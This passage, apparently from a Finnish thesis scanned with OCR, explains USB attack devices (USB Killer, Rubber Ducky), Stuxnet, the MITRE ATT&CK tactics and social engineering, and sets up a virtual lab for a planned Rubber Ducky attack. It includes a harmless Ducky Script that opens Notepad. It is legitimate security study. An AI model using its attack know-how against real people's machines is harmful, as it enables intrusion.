toisena ratkaisuna. Pilvipalvelujen avulla kayttajat saavat tiedostoja varastoiduttua ja
ladattua yhta katevasti, kuin USB muistitikuilla. (USB threats from malware to miners

2018.)

Haasteita USB laitteiden kanssa on edelleen muun muassa, ettd ihmiset edelleen kyt-
kevat huoletta USB laitteita tietokoneisiin, jotka ei ole suojattuja USB hyokkayksilta.

Laitteita I6ytyy maailmasta paljon, joista ei I6ydy tietoturva/virustorjunta ohjelmia,
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jotka voisivat lukea/tarkista USB laitteita, kun ne kytketaan kiinni. Myos vanhem-
missa Windows kayttojarjestelmissa AutoRun ominaisuus on paalla, mika aloittaa va-

littdmasti muistitikun kdyttéénoton. (Lecount 2019.)

Hyokkaaja voi myds halutessaan tuhota uhrin tietokoneen esimerkiksi kaupallisella
USB Killerilla. USB killer nayttaa tavalliselle USB medialaitteelle, joka lahettaa korke-
alla jannitteelld virtapiikkeja laitteistoon. Sen tarkoituksena on tuhota laite antamalla
korkealla jannitteella virtaa sen komponenteille. Se toimii siten, etta se kerda virtaa
komponenttien kapasitaattoreilta, kunnes se saavuttaa korkean jannitteen noin 215-
220 volttia. Taman jalkeen se purkaa jannitteen USB:n data pinneihin, joista se virtaa

laitteen ja sen komponenttien |dpi tuhotakseen laitteen. (Bisson 2016.)

Joitakin laitteita on vaikea my6s havaita olevan haitallisia. Esimerkiksi Rubber Ducky
muistitikku, silla se nayttaytyy tietokoneelle nappaimistona. Liitettyna se ldhtee ikdan
kuin ndppailemadan nappaimistdna siihen tallennetulla skriptilld, joka kertoo, mita
tehdaan. Tietokone ei tieda nappaileekd ihminen vai laite, mika hankaloittaa haitallis-
ten toimintojen estoa. Pahimmissa tapauksissa USB laite ei pelkdstdan saastuta tieto-
konetta, johon se kiinnitetdan, vaan haittaohjelma USB laitteesta levida tietokoneelta
koko verkkoon ja sen laitteisiin. Iranin ydinvoimalaitos on hyva esimerkki tapaus,
jossa USB laite liitettiin tietokoneeseen ja laitteesta lahteva haittaohjelma lahti levia-

maan koko laitoksen verkkoon. Tama lamautti koko ydinvoimalaitoksen toiminnan.

2.3.2 Iranin ydinvoimalaitos

Vuonna 2010 kesakuussa Iranin ydinvoimalassa Natanzissa tehtiin USB muistitikulla
kyberhyokkays. Se oli ensimmainen tapaus maailmalla, kun haittaohjelmalla lamaute-
taan teollisuuslaitos. Tapausta voidaan luonnehtia kybersodan alkuna, jossa ajetaan
laitos alas ohjelmalla. Muistitikkuun oli asetettu Stuxnet niminen mato, jonka vaite-
taan olevan asiantuntijoiden mukaan Yhdysvaltojen ja Israelin kehittama. Vuonna
2013 Edward Snowden NSA:sta (National Security Agency) vahvisti madon olleen Yh-
dysvaltojen ja Israelin yhteishanke hidastamaan Iranin ydinohjelmaa. Tasta huoli-

matta konkreettisia todisteita madon kehittajasta ei ole. (Thomson 2013.)
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Stuxnet mato toimii siten, ettd se ottaa hallintaansa teollisuuslaitoksen jarjestelmat
ja muuttaa niita toimimaan halutulla tavalla eli yleensa hairitsemaan jarjestelmien
toimintaa ja ajamaan ne alas. Stuxnet-matoa hallinnoidaan saastutetussa jarjestel-
massa palvelimien avulla, joilla matoa hallinnoidaan ja paivitetaan. Mato toimii kol-
messa vaiheessa, jossa se ensin analysoi Windows pohjaisen verkon ja tietokone jar-
jestelmat, jonka jalkeen mato aloittaa itsensa kopioimisen, kun se on tunkeutunut
jarjestelmiin. Seuraavana mato tunkeutui Siemenensin valmistamaan Windows poh-
jaiseen Step7 ohjelmistoon, jolla hallinnoidaan teollisuuden jarjestelmia. Viimeisena
vaiheena mato murtautui Step7 ohjelmistoon, jonka jalkeen se sai tarkeaa tietoa lai-

toksesta ja kyvyn hallita eri koneistoja laitoksessa. (Holloway 2015.)

Stuxnet onnistui vaikuttamaan ja hyokkaamaan yli viiteentoista Iranin laitokseen.
Hyokkayksen uskotaan aloittaneen satunnainen tyoskentelija kayttamalla saastu-
nutta USB muistitikkua. Hydkkayksessa arvioidaan tuhoutuneen noin 984 uraanirikas-
tamojen sentrifugeja. Kansainvalisen atomivoimaviraston tarkastajat tulivat tarkasta-
maan sentrifugeja ja he eivat osanneet sanoa, mika aiheutti sentrifugien hajoamisen.
Myoéhemmin vuonna 2010 valkovenaladisen tietoturvayhtion VirusBlokAda jarjestel-
maasiantuntijat vierailivat tarkastamassa tietokone jarjestelmia, ja he |6ysivat useita
haitallisia tiedostoja jarjestelmistad. Loydos osoittautui jalkeenpdin olevan Stuxnet

mato. (Holloway 2015.)

2.3.3 USB Rubber Ducky

USB Rubber Ducky on Hak5 yhtion kehittama muistitikku, joka esittaytyy tietoko-
neelle olevansa nappadimist6. Ensimmainen versio tikusta julkaistiin vuonna 2010.
Rubber Duckya voidaan kayttaa moneen eri tarkoitukseen ja se soveltuu hyvin tieto-
turvallisuudessa penetraatio testauksiin, kuten my®os rikollisiin tekoihin. (USB Rubber

Ducky N.d.)

Rubber Ducky koostuu A tyypin USB liittimesta, 60 MHz ja 32 bitin prosessorista,
Micro SD kortinlukijasta, LED ilmaisimesta ja tavallisesta muistitikun kuoresta. Muisti-

tikku voidaan liittaa pakkauksen mukana tulleilla adaptereilla USB C portteihin esi-
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merkiksi Android dlypuhelimeen. Tikun muistille on varattu oma Micro SD kortinlu-
kija, johon tallennetaan tietosisaltoa skriptit yms. Muistikorttiin voida myds tarvitta-
essa vieda toinen firmware eli laiteohjelmisto. LED ilmaisimen palaessa vihredna tar-
koittaa, etta tietosisaltda ajetaan. Punainen valo merkitsee vikaa esimerkiksi, jos
Micro SD kortissa on vikaa esimerkiksi, ettd se ei ole asennettu oikein tai se on vialli-

nen. Valo palaa punaisena myos, jos skriptien koodaus vaarin. (Brody 2017.)

2.3.4 USB Rubber Duckyn toiminta

USB Rubber Duckyn paaperiaate on, etta se nayttaytyy tietokoneelle nappaimistona
ja ndppailee siihen tallennetun skriptin mukaisesti. Datan siirtotapana toimii Inter-
rupt, jonka vuoksi muistitikku saa valittdman huomion isantéalaitteelta ja aloittaa
kommunikoinnin isantalaitteen kanssa. Kayttdja pystyy asettamaan muistitikulle ha-

luamansa skriptin tallentamalla sen muistikorttiin, joka asetetaan kortinlukijaan.

USB Rubber Ducky kayttaa skriptien teossa Ducky Script kielta. Skriptin teko onnistuu
helposti tekstinkasittelyohjelmalla esimerkiksi Windowsista 10ytyvalla muistion avulla
(engl. notepad) tai Linuxista I6ytyvalla Vim:lla. Kun skripti on kirjoitettu tekstinkasit-
telyohjelmalla, se koodataan inject.bin tiedostoksi. Internetista loytyy skriptin koo-
daamista varten eri alustoja ohjelmointikielillaan. Helpoiten skriptin koodaus onnis-
tuu selainpohjaisilla enkoodereilla esimerkiksi Javascript Ducky Encoderilla, joka 16y-

tyy Rubber Duckyn valmistajien sivulta: https://shop.hak5.org/pages/ducky-encoder.

Selaimesta |6ytyvaan kirjoituskenttaan voi itse kirjoittaa skriptin tai ladata sivulle
oma tekstitiedosto, johon on kirjoitettu skripti valmiiksi. Taman jalkeen sivustolla ge-
neroidaan skriptista lasti, joka latautuu tietokoneelle inject.bin nimisena tiedostona.
Tiedosto viedaan muistikortille, joka asetetaan Rubber Duckyn kortinlukijaan. Muisti-
tikku asetetaan laitteeseen esimerkiksi tietokoneen USB porttiin ja muistitikku aloit-
taa inject.bin tiedoston ajamisen, sen mikroprosessorin avulla. Muistitikku toimii
ndppaimistona ja aloittaa ndppdilemaan rivit, jotka ovat valmiiksi kirjoitettu inject.bin

tiedostoon. (Brody 2017.)



23
Alla oleva Kuvio 5 on esimerkki Ducky Skriptista, jonka tarkoitus on avata muistio
(engl. notepad) ja kirjoittaa siihen "Tama on testi”. DELAY komento tarkoittaa, etta
Rubber Ducky odottaa millisekunneissa halutun ajan, kunnes se siirtyy seuraavaan
vaiheeseen skriptissa. DELAY komento on tarked asettaa jokaisen vaiheen valiin, silla
Rubber Ducky muistitikku suorittaa nopeasti toiminnot. Vaihtoehtoisesti voidaan li-
sata DEFAULTDELAY, jolloin se ajaa jokaisen komennon halutulla tauolla. Jos DELAY
komentoa ei lisatd, niin Rubber Ducky kdytannossa kirjoittaa tyhjaan toiminnot, en-
nen kuin esimerkiksi muistio aukeaa. Skriptia tehdessa on tarkea ottaa huomioon,
miten nopeasti tietokone ehtii prosessoimaan minkakin vaiheen. GUI r komento avaa
Windowsista l6ytyvan Suorita ikkunan. STRING komennon peraan kirjoitetaan teksti,
jonka Rubber Ducky muistitikku kirjoittaa. ENTER arvolla Rubber Ducky painaa Ente-

ria.

Tiedeste Muockkaa Muoctoile MNaytd  Ohje
DELAY 758

GUL r

DELAY 1leee

STRING notepad

DELAY 388

ENTER

DELAY 758

S5TRING Tamd on testi.

Kuvio 5. Ducky Script
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2.3.5 Yleinen puolustautuminen

Haitallisia USB laitteita vastaan voidaan puolustautua monilla eri tavoilla. Internetista
I6ytyy hyvin tietoa, miten kaytanndssa yksittdiset kayttdjat ja yritykset voivat puolus-
tautua USB hyokkayksilta. Enisa eli Euroopan unionin verkko- ja tietoturvavirasto on

laatinut hyvat kaytanteet USB laitteita varten. Kaytanteita ovat muun muassa:

- Kayta vain kryptattua muistitikkua,

- Kehottamaan kayttdjia asettamaan USB muistitikut lukutilaan (engl. read-only
mode) kdyttden samalla fyysisia kytkimia virusten leviamisen varalta,

- Poistamalla turhat tiedostot muistitikulta ennen, kun kytkee toisen tietoko-
neelle.

- Skannaa USB muistitikku sen jalkeen, kun on kopioitu tiedostoja epaluotetta-
valta ja/tai luvattomalta koneelta virusten varalta.

Osa mainituista kaytanteistd voidaan toteuttaa lataamalla ja asentamalla internetista
ohjelmistoja. (Use of portable corporate devices: laptops, USB drives, mobile phones

and BlackBerrys 2009.)

3 Hyokkdyksen suunnitelma

Tassa luvussa suunnitellaan toteutettava USB mediatallennushyokkays. Tutkitaan
Mitren ATT&CK hyokkdaysmallia, ettd mika se on ja mita se sisaltaa. Perehdytdan fyy-
siseen manipulointiin ja sen merkityksesta hyokkayksessa. Kaydaan lapi toteutusym-

pdriston sisaltoa ja esitellaan kuvitteellinen yritys, johon hydkkays kohdistetaan.

3.1 Mitre ATT&CK

Hyokkadyksen ldhestymistapana opinndytetyossa kdytetdaan Mitren ATT&CK mallia ja
toteutettavaa hyokkaysta tarkastellaan kyseisesta hyokkaysketjusta. Toimeksiantajan
vaatimuksena on Mitren ATT&CK malli. Syy tahan on siksi, etta kyseista hydkkaysmal-

lia kdytetaan yleisesti EU:ssa ja kansainvalisesti. Toimeksiantaja tekee yhteistyota
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kansainvalisesti eri yritysten ja organisaatioiden kanssa, joten ATT&CK malli tukee

CYBERDI-projektissa hyvin.

Mitren ATT&CK on maailmanlaajuinen tietamyskanta, jota kayttavat yksityiset sekto-
rit, valtiot ja kyberturvallisuusalat tyokaluna ja pohjana kehittdessa uhkamalleja ja
menetelmia kyberhyokkayksissa. Kannasta voidaan tarkastella, miten hyokkaaja tak-
tikoi hyokkaykset ja milla eri tekniikoilla hyokkaaja toimii. Kaikki yleisimmat hyok-
kaykset, joita on tehty tosi elamassa, on kirjattu kantaan eri vaiheisiin. Mallin poh-
jalta voidaan lahtea tutkimaan hyokkayksia, miten nama etenevat ja miten voidaan

varautua ja puolustautua hyokkayksilta eri vaiheissa. (ATT&CK N.d.)

ATT&CK mallia tutkitaan kdaytannossa matriisista, joka |6ytyy helposti MITREN kotisi-
vuilta (https://attack.mitre.org/). Matriisissa on neljatoista vaihetta ja nadiden alla

useita eri vaihtoehtoja, jolla vaiheet voidaan toteuttaa. Vaiheita ovat:

- Reconnaissance,

- Resource Development,
- Initial Access,

- Execution, Persistence,
- Privilege Escalation,

- Defense Evasion,

- Credential Access,

- Discovery,

- Lateral Movement,

- Collection,

- Command and Control,
- Exfiltration ja Impact. (ATT&CK N.d.)

Reconnaissance eli tiedustelulla tarkoitetaan, etta hyokkaaja pyrkii keraamaan tietoa
kohteesta, jonka avulla se suunnittelee hyokkays operaation. Tiedustelun avulla ja
siitd saadulla informaatiolla, hydkkaaja suunnittelee Initial Access vaiheen eli alusta-
van paasyn kohteeseen ja yleisesti koko hyokkayksen. Hyokkaajaa keraa tietoa orga-
nisaatiosta, sen IT-infrastruktuurista ja henkilostdsta. Tekniikoita, joilla Reconnais-
sance vaihe voidaan toteuttaa ovat esimerkiksi: aktiivisella skannauksella, kuten
skannaamalla verkosta (julkisia) IP-osoitteita. Etsimalla tietoa verkkosivustoista ja do-

maineista. Verkkosivustoista esimerkiksi sosiaalisen median kautta, josta hyokkaaja


https://attack.mitre.org/
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voi |0ytaa itselleen perustietoa kuten yrityksen sijainneista, henkilokunnasta ja tehta-

vistd. (Reconnaissance 2020.)

Resource Development eli resurssien kehittelylla hyokkaaja hankkii tarvittavia resurs-
seja tukemaan hyokkaysta. Esimerkiksi ostamalla laitteita, IT-infrastruktuuria ver-
kosta, kuten domaineja ja palvelimia, ja manipuloimalla itselleen valtuutettuja tileja.
Hyokkaaja voi kehittada itse omia (haitta)ohjelmistoja ja tyokaluja, joilla se voi toteut-
taa hyokkayksen. Yleensa itse kehitetyt haittaohjelmat padsevat paremmin tunkeutu-
maan jarjestelmiin, kuin semmoiset, joita on jo kdytetty ja raportoitu maailmanlaajui-
sesti. Hyvin suunnitteluilla resursseilla ja niiden kaytolla hyokkaaja helpottaa Com-
mand and Control vaihetta, saa jalansijan kohteeseen ja hyvalla koodilla auttamaan

Defense Evasion vaihetta. (Resource Development 2020.)

Initial Access eli alustavassa paasy vaiheessa hyokkaaja pyrkii saamaan jalansijaa koh-
teen verkkoon. Taman onnistuttua hyokkaaja pyrkii pitamaan paasyn jatkuvana. Esi-
merkiksi padsy pyritaan tekemaan ulkoisella laitteistolla, vaikka Rubber Ducky muisti-

kulla. (Initial Access 2018.)

Execution eli suorituksella tarkoitetaan hydkkadjan ajavan haitallista koodia paikalli-
selle tai etdiselle jarjestelmalle. Hyokkaaja pyrkii koodilla tutkimaan kohdeverkkoa tai
varastamaan dataa. Esimerkiksi hyvaksikayttamalla Windows kayttojarjestelman
Windows Powershellid ajamalla valmiita skripteja Powershellin kautta. (Execution

2018.)

Persistence eli pysyvyys tarkoittaa, ettda hyokkaaja pyrkii pitamaan jalansijan jarjestel-
massd/verkossa naiden muutoksista huolimatta, jotka voivat katkaista paasyn. Kay-
tdnnossa tama voidaan toteuttaa vaihtamalla omaa koodia jarjestelmaan tai kaap-

paamalla jarjestelman oikeutettua koodia. (Peristence 2018.)

Privilege Escalation eli kayttéoikeusien eskaloinnilla tarkoitetaan hydkkaajan pyrkivan
saamaan korkeamman tason oikeuksia it-infrastruktuurissa. Kaytannossa hyokkaaja

pystyy vain tutkimaan alkuun useita objekteja verkosta, mutta ei ole paasyja syvem-



27
malle objekteihin. Hyokkaaja lahtee etsimaan heikkouksia, ohjelmointivirheitd ja haa-
voittuvuuksia jarjestelmista. Esimerkiksi tutkimalla jarjestelman juuri tasoa
(SYSTEM/root), paikallista jarjestelmanvalvojaa ja kayttajia eri paasyoikeuksilla. (Pri-

vilege Escalation 2018.)

Defense Evasion eli suojauksen kiertamisessa hyokkaaja yrittaa toimia huomaamat-
tomasti kohteen jarjestelmilta ja turvaohjelmilta. Kdytanndssa hyokkaaja voisi esi-
merkiksi poistaa ja kytkea pois paalta turvaohjelmia jarjestelmasta. Hyokkaaja myos
pyrkii hydédyntamaan ja hyvaksikayttamaan luotettuja jarjestelman prosesseja piilot-
tamalla ndihin omaa haittaohjelmaa, jotka padsevat vapaasti toimimaan naiden

paalla. (Defense Evasion 2018.)

Credential Access eli padsytietoihin kasiksi paasyssa hyokkaaja yrittaa varastaa kayt-
tajatunnuksia ja niiden salasanoja. Yleisempia tekniikoita ovat eri keylogging tavat tai
kayttajatunnuksien kaappaaminen ohjelmilla. Kayttamalla valtuutettuja kayttajatun-
nuksia hydkkaaja paase helpommin kasiksi jarjestelmiin ja pystyy luomaan lisaa val-
tuutettuja kayttajia, jos hyokkaajalta katkaistaan paasy tiettyihin kayttajatietoihin.
Valtuutetuilla kayttajilla hyokkaaja pystyy liikkumaan jarjestelmissa huomaamatto-

masti. (Credential Access 2018.)

Discoverylla tarkoitetaan hyokkaajan havainnollistavan ymparistoa, johon tama aikoo
hyokkayksen tehda. Hyokkaaja voi eri ohjelmilla kerata tietoa, mita ymparistosta 1oy-
tyy muun muassa kayttajatunnuksista, pilvipalveluista, tiedostopalveluista, tietotur-
vapalveluista. Hyokkdajalle on tarkeata kerata tietoa ymparistosta ja tutustua siihen,

jotta hydkkays voidaan tehda onnistuneesti ja jadmatta kiinni (Discovery 2018.)

Lateral Movement vaihe tarkoittaa, ettd hyokkaaja pyrkii etenemaan ymparistossa
saadakseen pdasyn ja hallitsemaan jarjestelmia hyddyntden eri tekniikoita. Kaytan-
nossa hyokkaadja toteuttaisi taman kayttamalla omia etdayhteys tydkaluja hyddyntaen
varastettuja kdyttdjatunnuksia ymparistosta. Hyokkaaja liikkuu verkossa jarjestel-
mien lavitse esittdytyessaan oikeutettuna kayttdjana paamaardansa saakka. Lateral
Movement koostuu periaatteessa edelld mainituista vaiheista, joita olivat Initial Ac-

cess, Discovery ja Credential Access. (Lateral Movement 2018.)
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Collection eli kerailylla tarkoitetaan hyokkaajan kerdavan tiettya dataa, jota hyok-
kaadja tavoittelee kohteelta. Tyypillisimpia kohteita, joita hydkkaaja keraa ovat selai-
met, audio, video ja sahkoposti. Kerdys toteutetaan esimerkiksi kaappaamalla naytt6-

kuvia ja nappaimiston nappailya eli keyloggingilla jarjestelmasta. (Collection 2018.)

Taman jalkeen siirrytaan Exfiltration vaiheeseen eli datan lahettaminen kohteelta
hyokkaajalle. Hyokkaaja kayttaa eri tekniikoita, joilla se paketoi dataa osiin valttaak-
seen jaamasta kiinni. Taman jalkeen dataa lahetetdan rajoitetusti ulos kohteen ver-
kosta hydkkaadjan command and control kanavan tai vastaavanlaisen kautta hyokkaa-

jalle. (Exfiltration 2018.)

Command and Control vaiheessa hyokkaadja kommunikoi murrettujen jarjestelmien
kanssa ja hallitsee naita. Hyokkaaja pyrkii matkimaan kommunikoinnissa tavallista lii-
kennettd, jota odotetaan kulkevan kohteen jarjestelmissa. Tama voidaan toteuttaa
eri tekniikoilla esimerkiksi sovellus tason protokollissa DNS:n avulla. Hyokkaaja tekee

DNS tunnelin kohteen ja oman palvelimen vilille. (Command and Control 2018.)

Viimeinen vaihe Impact tarkoittaa lopullista vaikutusta kohteen jarjestelmaan/verk-
koon. Hyokkaaja pyrkii vaiheessa manipuloimaan, hdiritsemaan tai tuhoamaan jarjes-
telmia ja dataa. Manipuloimalla dataa hydkkaaja pyrkii vaikuttamaan yrityksen liike-
toimintaan, ymmartadkseen paremmin yritysta tai myohempiin paatoksen tekoihin

jarjestelmien kanssa. (Impact 2018.)

3.2 Fyysinen manipulointi

Fyysinen manipulointi (engl. social engineering) on tarkeédssa roolissa hyokkayksen
onnistumisen kannalta. Kyseinen vaihe liittyy ATT&CK mallista katsottuna Reconnais-
sance vaiheeseen. Fyysisessa manipuloinnissa hyokkaaja kayttaa sosiaalisia taitojansa
uhria vastaan, jossa se pyrkii tiedustelemaan uhrilta yksityisia asioita, paasytietoja ja
muuta arvokasta tietoa. Esimerkiksi hyokkaaja esittaytyy uskottavasti olevansa, jokin
viranomainen, kuten poliisi, jolloin uhri saattaa helpommin antaa kriittisia tietoja

huomaamatta tai sen enempaa pohtimatta. (What is Social Engineering? n.d.)
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Hyokkays voi tapahtua verkossa, kasvotusten ja muilla vuorovaikutuskeinoilla. Hyok-
kadja hyodyntaa uhrin kayttaytymista ja sen tuntemuksia. Fyysisen manipuloinnin ai-
kana hyodkkaaja hyodyntaa uhrissa syntyneita tunteita, joita voivat olla pelko, innos-
tus, uteliaisuus, viha, syyllisyys ja surullisuus. Opinnaytetyon toteutuksessa fyysinen
manipulointi toteutuu siten, ettd hyokkaaja saa kuvitteellisen yrityksen tydntekijan
hyokkaykseen mukaan. Vaiheeseen palataan myéhemmin hyokkayksen toteutuk-

sessa. (What is Social Engineering? n.d.)

Yleisesti tavoitteena hyokkaajalla on sabotointi, jossa se hairitsee tai korruptoi dataa
aiheuttaakseen ongelmia uhrille. Toinen yleinen tavoite on varastaminen, jossa hyok-
kaaja ottaa haltuun arvokasta tietoa tai jopa rahaa. Hyokkaysketju yleisesti menee
siten, ettd hyokkaaja valmistelee keraamalla taustatietoja uhrista tai isommasta ryh-
masta. Seuraavaksi soluttaudutaan, jossa pyritaan luomaan suhteita tai aloittamaan
vuorovaikutus uhrin kanssa, jossa rakennetaan luottamusta. Taman jalkeen hyvaksi
kaytetaan uhria, kun luottamus on luotu ja heikkous loydetty, josta edetaan hyokkaa-
maan. Viimeiseksi, kun hyokkays on toteutettu, irrottaudutaan tilanteesta. (What is

Social Engineering? n.d.)

Yleisia fyysisen manipuloinnin hyokkayksia ovat eri kalasteluhydkkaykset sahkopos-
titse, tekstiviesteilla tai puhelinsoitoilla. Esimerkiksi ndiden avulla uhrille ilmoitetaan
verkkosivusto, johon heiddn pitdd menna ja tdman jalkeen he astuvat hyokkaajan an-
saan. Muita hyokkaystapoja ovat muun muassa eri syottihyokkaykset, fyysinen mur-
tautuminen ja pelotteluohjelmistoilla uhkailu. Syottihyokkayksen voi toteuttaa esi-
merkiksi USB muistitikulla jattamalla se yleiselle paikalla esimerkiksi kirjastolle, kou-

lulle tai parkkipaikalle. (What is Social Engineering? n.d.)

Vuonna 2016 kyseista metodia kokeiltiin Yhdysvalloissa lllinoisin yliopistossa. Muisti-
tikkuja jatettiin ympari kampusta noin 300 ja niistd 98% loydettiin. Loydetyista muis-
titikuista kiinnitettiin tietokoneeseen vahintaan puolet, kun asiaa tutkittiin jalkeen-

pdin. (Lecount 2019.)
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3.2.1 Enisan tutkimus

Enisa julkaisi tutkimuksen fyysisen manipuloinnin tilastoista ja vaikutuksista. Aikavali

sijoittuu tammikuun vuodesta 2019 huhtikuuhun vuoteen 2020. Tutkimuksessa ko-

rostetaan fyysisen turvallisuuden tarkeydesta ja fyysisen paasyn olevan isoin takaovi

hyokkaajalle. Esimerkki tapauksena eras henkild tuhosi USB killerilla noin 66 tietoko-

netta ja monitoria Yhdysvalloissa Saint Rosen korkeakoulussa. (Physical access is the

biggest backdoor.)

Tutkimuksesta 10ytyi tilastoja fyysisita manipuloinnista/murroista seuraavanlaista tie-

toa:

4% murroista aiheutti fyysiset toimet

20% kyberturvauhkista alkoi tai paattyi fyysisiin toimiin

fyysisistd hyokkayksista viidenneksi eniten kohdistui pankkiautomaatteihin

54% kaikista datamurroista kaikilla sektoreilla sisalsi fyysisen hydkkdyksen paameto-
dina

48% IT paalikoista kayttaa pilvipohjaista kameravalvontaa tai paasyhallintaa

72% tyontekijoista jattaa sensitiivista tietoa alueille, joihin on yleinen paasy kaikille
65% tuhannesta tyontekijasta tarkkaili ja raportoi huomanneen kadytoksia ja ominai-
sia kaytanteita fyysiselle murrolle (Findings 2020.)

Enisa loi listan, jonka avulla fyysisen manipuloinnin hyékkayksia voidaan valttaa:

Kayta kryptausta kaikissa tiedon sdilytyksissa ja ohjaa se ulos alueelta esimerkiksi pil-
veen.

Takaa rajattu paasy alueille, jotka sisaltdvat sensitiivista tietoa ja kalustoa.

Toteuta hyva dokumentaatio fyysisen turvallisuuden kaytanteista ja integroi fyysisen
turvallisuuden toimenpiteet digitaaliseksi.

Kehitd kdyttdoppaita mobiililaitteille ja noudata parhaita kdytanteita

Varmista etta laitteet havitetdaan sen jalkeen, kun henkilékohtaiset tai sensitiiviset
tiedot on poistettu turvallisesti

Vahenna reagointi aikaa varkauden, vahingon tai hdavidmisen yhteydessa.

Ota kayttoon monivaiheinen autentikointi, joka sisdltaa kayttajatunnuksen kanssa
biometrisen tunnistautumisen, alykortin ja muita fyysisia autentikaatio laitteita.
Tarkista laitteet jaksoittain vaihtelun ja korvaamisen varalta

Ota kayttoon prosesseja, joilla tunnistetaan valtuutetut vierailijat tai tyontekijat ja
myonna asialliset padsyoikeudet

Ota kayttoon eri monitorointi jarjestelmia, paasyhallinta jarjestelmia, vahvat kaytta-
jatunnukset ja alyllisia paasylaitteita alueille (esimerkiksi alylukot ja dlykortit), jossa
sailo6taan arkaluonteista laitteistoa. (Proposed actions 2020.)
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3.3 Toteutus ymparisto

Hyokkays/tyo toteutetaan omalla henkilokohtaisella tietokoneella, johon luodaan vir-
tuaalikoneiden avulla toteutusymparisto (virtuaaliymparistd). Se sisaltaa kolme eri
verkkoa. Kohdetydkoneen, jossa on uusin Windows 10 kayttojarjestelma ja tydkone
on liitetty tyopaikan Windows AD-palvelimelle. Ymparistosta [6ytyy hyokkayksen
kohteen ty6aseman ja palvelimen lisaksi hyokkaajan palvelin ja Rubber Ducky muisti-
tikku. Hyokkaajan ja kohteen omat ymparistot eristetdan toisistaan asentamalla va-

liin VyOS virtuaalireititin. Kuvio 6 havainnollista ympariston.
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Kuvio 6. Topologia — ymparisto

3.3.1 Virtuaalikoneet ja kayttojarjestelmat

Ymparistdd varten tdytyy asentaa omalle tietokoneelle virtuaalikoneita. Virtuaalikone
on kaytannossa ohjelmistolla toteutettu oikea tietokone, joka toimii fyysisen tietoko-
neen paalla eristettyna iséntdkoneesta. Se hyddyntaa toimiakseen fyysisen koneen
komponentteja, kuten prosessoria, tydmuistia ja massamuistia. Tydssa kaytetaan
Oraclen VirtualBox ohjelmistoa, jolla virtuaalikoneet luodaan. Kuvio 7 on yleisndkyma

asennetuista virtuaalikoneista toteutusta varten.
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Kuvio 7. Virtuaalikoneet

Microsoft Windows 10

Q& 09D,

New Settings Discard Start

= General

Name: VyO5 - Devio

Operating System: Debian (54-bit)

System

Base Memory: 512MB

Boot Order: Floppy, Optical, Hard Disk

Acceleration:  VT-x/AMD-V, MNested Paging, PAE/MX, KVM Paravirtuslization
@ Display

Video Memory: 16 MB

Graphics Controller: VBOXVGA
Remote Desktop Server:  Disabled

Recording: Disabled

Storage

Controller: IDE
Controller: SCSI
SCSI Port 0:

{0 Audic

yOS-1.1.8-amds4-disk 1.vdli (Normal, 10,00 GB)

Host Driver:  Windows DirectSound
Confroller:  ICH ACS7

EF metwork
Adapter 2@ Intel PRO/1000 MT Desktop (Internal Netwark, ‘Lan’)

Adapter 3:  Intel PRO/1000 MT Desktop {Internal Netwark, "Vyos")
Adapter 4 Intel PRO/1000 MT Desktop {Internal Network, ‘Lan-AD)

5 uss

Disabled

|:| Shared folders
None

& Description

None
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=) Preview

VyOS - Devio

Windows 10 on Microsoftin kehittama kayttojarjestelma, joka julkaistiin virallisesti

29. heindkuuta 2015. Kayttojarjestelma on Microsoftin mukaan ”viimeinen”, jota on

tarkoitus paivittaa ja johon lisdtddan ominaisuuksia ajan myo6ta. Microsoft on aikai-

semmin julkaisut muutaman vuoden vialein eri kdyttojarjestelmia muun muassa Win-

dows Xp, Vista, 7, 8 ja 8.1. Alla olevassa kuviossa on asennettuna Windows 10 virtu-

aalikone toteutus ymparistoon ja kone on liitettyna yrityksen AD ymparistoon (ks. Ku-

vio 8).
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3 System

ro> ipconfig
« v 4 E, ControlPanel » System and Security » System v | O

IP Configuration

Control Panel Home . - .
View basic information about your computer

Enabled. . . . . G Device Manager Windows edition
tnabled. - o to.co ) Remote settings Windows 10 Enterprise Evaluation
& System protection @ 2019 Microsoft Corporation. All rights reserved.
) Advanced system settings
System
Processor: Intel(R) Core(TM) i7-7700K CPU 1
Installed memory (RAM): 2,00 GB
System type: 64-bit Operating System, x64-ba
Pen and Touch: Mo Pen er Touch Input is availab

Computer name, domain, and workgroup settings

Computer name: W51

Full computer name: W51.Devio.com
Computer description: W51

Demain: Devic.com

Windows activation

Windows is not activated. Read the Microsoft Software Licel

Product [D: 00329-20000-00001-AA368

Kuvio 8. Windows 10

Opinndytetyo6ta varten on valittu Windows 10 uusimmalla versiollaan, koska kaytto-
jarjestelmasta on poistettu AutoRun ominaisuus paalta oletuksena paivitysten myota
ja se on uusin kayttojarjestelma Microsoftilta. AutoRun on Windows kayttojarjestel-
masta |oytyva ominaisuus, joka aktivoituu, kun tiettya ulkoista mediaa liitetdan tieto-
koneeseen. CD:t, DvD:t, USB mediatallennus valineet kdaynnistavat AutoRun ominai-

suuden. (Rouse 2016.)

Se toimii siten, kun uusi mediatallennus laite liitetaan tietokoneeseen, Windows-jar-
jestelma havaitsee sen ja I0ytaa autorun.inf nimisen tiedoston laitteesta. Taman jal-
keen jarjestelma toimii INF tiedoston mukaisesti. Tyypillisesti autorun.inf tiedosto
aloittaa automaattisesti asentamaan sovellusta jarjestelmaan. AutoRunia onkin
helppo hyvaksikayttad USB mediatallennushyodkkayksissa, jos se on oletuksena paalla.
Jos AutoRun tiedostoa ei loydy, Windows menee AutoPlay tilaan ja pyytaa kayttajaa
tekemaan kasin toimintoja, kuten tarkastelemaan tiedostoja, toistamaan videoita,

avaamaan kuvia sovellusten kautta. (Rouse 2016.)
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Microsoft Windows Server
Windows Server on Microsoftin kehittama palvelin kayttojarjestelma. Se ei poikkea
nakyvasti tavallisesta Windows kayttojarjestelmasts, silla Windows palvelimissa on
samanlainen graafinen kayttoliittyma, kuin tavallisissa kayttojarjestelmissa. Molem-
milla kdyttojarjestelmilla pystyy tekemaan samoja asioita, kuten lataamaan ja asenta-
maan ohjelmia internetistd, selata selaimella sivustoja ja kirjoittamaan tekstinkasitte-
lyohjelmalla tekstida. Opinnadytetyohon on valittu Windows Server 2016 tekemaan
hyokkayksen kohdekoneen ymparistésta mahdollisimman realistisen, silla monet yri-
tykset kayttavat IT-infrastruktuurissaan Windows palvelimia, joilla voidaan helposti
ohjata sen ympariston kayttajia, tietokoneita ja muita resursseja. Kuvio 9 on kuvan

kaappaus asennetusta Windows Server 2016 koneesta ja sen perustiedoista.

4 system - [m]

« v 4 E: Control Panel > System and Security » System v @&  Search Control Panel

